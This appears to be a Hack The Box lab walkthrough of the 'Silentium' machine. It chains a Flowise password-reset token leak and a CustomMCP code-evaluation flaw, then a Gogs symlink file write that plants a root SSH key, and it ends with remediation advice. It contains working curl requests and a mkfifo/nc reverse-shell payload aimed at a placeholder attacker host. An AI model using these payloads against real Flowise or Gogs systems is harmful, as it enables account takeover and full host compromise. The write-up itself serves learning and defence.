Hack The Box: Silentium Walkthrough

Revangga Brama Eka Putra — Mon, 22 Jun 2026 23:29:53 +0000

Executive Summary

Silentium is a high-quality machine that demonstrates the severe consequences of exposed staging environments, unauthenticated data leaks, and insecure code evaluation within modern LLM orchestration tools. This writeup covers the entire attack path: from leveraging a logic flaw in Flowise AI, gaining Remote Code Execution (RCE) via custom server components, to inheriting root privileges through local symbolic link exploitation in Gogs.

1. Reconnaissance & Target Mapping

Network Scanning

We begin our engagement with an active network scan using nmap to discover open ports and available services on the target system:

nmap -p- -sV -sC -v --min-rate 1000 -oN initial_scan.txt <TARGET_IP>

The scan reveals two primary entry points:

Port 22/tcp: OpenSSH service.
Port 80/tcp: Nginx web server routing traffic.

To ensure proper domain resolution, we append the primary hostname to our local hosts registry:

echo "<TARGET_IP> silentium.htb" | sudo tee -a /etc/hosts

Subdomain Virtual Host Discovery

Since a standard inspection of http://silentium.htb yields limited results, we perform virtual host fuzzing to uncover hidden environments or subdomains using gobuster:

gobuster vhost -u http://silentium.htb -w ~/tools/Seclist/common.txt --append-domain

The tool identifies an active virtual host: staging.silentium.htb. Upon mapping this subdomain to our /etc/hosts file and accessing it via a browser, we are greeted by an exposed deployment of Flowise AI.

2. Initial Foothold: Exploiting Flowise AI Logic Flaw

The active version of Flowise AI (3.0.5) contains a critical logical flaw during the credential recovery workflow. Specifically, when a password reset request is initiated, the application unintentionally encapsulates the active temporary reset token tempToken directly within its backend API response.

We searched for known vulnerabilities against this version, and two CVEs immediately emerged:

CVE-2025-58434 — Unauthenticated password reset token leak (versions < 3.0.6).
CVE-2025-59528 / GHSA-6933-jpx5-q87q - Authenticated RCE via CustomMCP node (versions < 3.0.6).

Both affect versions prior to 3.0.6. Both apply to version 3.0.5.

3. Account Takeover — "Stealing the Keys"

CVE-2025-58434

The CVE warning is almost too good to be true: Flowise versions prior to 3.0.6 leak password reset tokens directly in API responses. No email interception required. No exploitable SMTP configuration errors. Simply ask the server to reset your password, and it will hand you the token.

By sending a targeted POST request to the account recovery endpoint with a discovered corporate email ben@silentium.htb, we can intercept this token:

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user": {"email": "ben@silentium.htb"}}'

The server didn't just return the tempToken — it returned everything. The user ID, the bcrypt password hash, the account status, creation dates. A full database record dumped into a single API response. This wasn't a subtle information leak — this was the front door left wide open.

After we successfully generated a new token and sent the flattened payload to update the account password:

curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
    "user": {
      "email": "ben@silentium.htb",
      "tempToken": "<target_tempToken>",
      "password": "<your_password>"
    }
  }'

We go to http://staging.silentium.htb/signin, type ben@silentium.htb/ Whoami!, and press Login.

With our newly established credentials, we successfully authenticate into the administrative Flowise dashboard.

4. Remote Code Execution (RCE) via Insecure Code Evaluation

Vulnerability Mechanism

Once inside the administrative panel, we look into the Model Context Protocol (MCP) integrations. The endpoint /api/v1/node-load-method/customMCP handles configuration properties for custom external integrations.

Due to a complete lack of sandboxing, any configuration passed to mcpServerConfig is executed directly by the underlying Node.js runtime via unsafe evaluation methods.

Weaponizing the Configuration Payload
We can abuse this behavior by wrapping an Immediately Invoked Function Expression (IIFE) that imports the native child_process module to instantiate an asynchronous reverse shell.

We save our malicious node setup into a file named exploit_payload.json:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({run:(function(){const engine=process.mainModule.require('child_process');engine.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <Attacker_IP> <Port> >/tmp/f');return 1;})()} )"
  }
}

We extract our admin session bearer token or API key from the browser settings, and trigger the execution via curl:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer <API_KEY>" \
     -H "Content-Type: application/json" \
     -d @exploit_payload.json

Our listener catches the connection, granting us an interactive shell inside the application's Docker container context as the node user.

5. Lateral Movement to Host

Operating inside an isolated container limits our scope. A quick audit of the local environment variables reveals hardcoded production credentials:

env

We discover the plaintext password for the system user ben. Since SSH access is open externally on the host server, we transition out of the container by establishing a secure terminal session as ben:

ssh ben@silentium.htb

User flag retrieved at /home/ben/user.txt.

6. Local Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)

Internal Service Audit

While checking internal listening ports on the host system, we locate a local instance of Gogs (Go Git Service) running on ports 3000/3001. A quick process inspection confirms that Gogs is operating directly under root privileges:

netstat -tulpn | grep 127.0.0.1

ps aux | grep gogs

Gogs is vulnerable to CVE-2025-8110, an arbitrary file write flaw rooted in improper symbolic link handling when processing repository updates via its native REST API. If we push a symlink pointing to a vital system layout and subsequently update its content via the API, Gogs will blindly overwrite the target system file using root permissions.

To ease exploitation, we build an SSH tunnel to route the internal web service to our attacking environment:

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

7. Weaponization & Root Exploitation

Gogs is a lightweight, self-hosted Git service. These services are typically installed by development teams for internal repository needs, but are often neglected afterward. The main vulnerability in this system is the still-active open registration feature, allowing anyone with access to the port to create an account. Taking advantage of this, I registered a new user, logged in, and successfully generated an API token.

Analysis of the CVE-2025-8110 Vulnerability

The CVE-2025-8110 vulnerability is an Arbitrary File Write vulnerability discovered in Gogs. The issue is rooted in the way the PutContents API handles writing data into a Git repository. By design, Git supports the use of symbolic links (symlinks), but Gogs fails to validate whether the destination path of the symlink resides within the allowed directory boundaries of the repository.

The exploitation scenario for this vulnerability involves creating a symlink pointing to a sensitive system file, such as /root/.ssh/authorized_keys. Once the symlink is uploaded to the repository, a file-writing API call can be exploited to insert an external SSH public key. If the service is running with root privileges, this modification to the authorization file can occur without triggering standard operating system warnings.

Executing the Symlink Attack

A new repository named worm was created within the Gogs platform. This repository was then cloned to the local environment. Within this repository, a symbolic link was created that specifically pointed to the administrative system authorization file path, /root/.ssh/authorized_keys, before finally committing.

The appearance of the 120000 mode flag confirms that the symlink has been successfully committed to Git. The next crucial step is to make a PutContents API call to write the new public key. This write process utilizes the existing symlink to direct the data to the target file system path.

8. Final Escalation

Following a successful response from the API, the public key payload was indirectly written to the server's /root/.ssh/authorized_keys path via the symlink redirection. The final step is to perform an SSH authentication check to confirm whether the access modification was successful.

ssh -i /tmp/root_key root@10.129.9.113

Administrative privileges were successfully verified upon retrieving the root flag, confirming full host compromise. With root access established via the SSH key injection, the assessment moves to the reporting and remediation phase to document the findings and secure the asset.

9. Remediation & Mitigation Recommendations

To secure the environment against the attack vectors demonstrated in this assessment, the following remediation steps must be implemented immediately:

A. Securing the Flowise AI Environment (Initial Foothold)

Patch the Software: Upgrade Flowise AI to version 3.0.6 or higher to resolve the password reset token leak (CVE-2025-58434) and the authenticated RCE vulnerability in the CustomMCP node (CVE-2025-59528) [cybersecurity].
Network Isolation: Ensure that development or staging environments (e.g., staging.silentium.htb) are never exposed directly to the public internet without an upstream authentication layer, such as a VPN, IP-whitelisting, or a reverse proxy enforcing Basic Authentication.

B. Hardening the Gogs Git Service (Privilege Escalation)

Enforce the Principle of Least Privilege: Never run application services like Gogs as the root user. Gogs should be configured to run under a dedicated, low-privileged system user account (e.g., a git user). This ensures that even if an arbitrary file write occurs, the process cannot overwrite critical host system files.
Apply Security Patches: Update the Gogs installation to a patched version that resolves CVE-2025-8110 by properly evaluating and canonicalizing symlink paths before processing API-driven file writes (PutContents).
Disable Open Registration: Modify the Gogs configuration file (app.ini) to disable public account creation by setting DISABLE_REGISTRATION = true under the [service] block.

C. Host-Level Hardening

Restrict Direct Root SSH Access: Modify /etc/ssh/sshd_config to include PermitRootLogin no. This forces administrators to log in as standard users first and elevate privileges using sudo, leaving a clear audit trail.
Deploy File Integrity Monitoring (FIM): Implement monitoring tools such as Wazuh, Tripwire, or Samhain on critical directories like /root/.ssh/ to immediately alert security teams of any unauthorized structural or content changes to administrative key stores.

DEV Community: Revangga Brama Eka Putra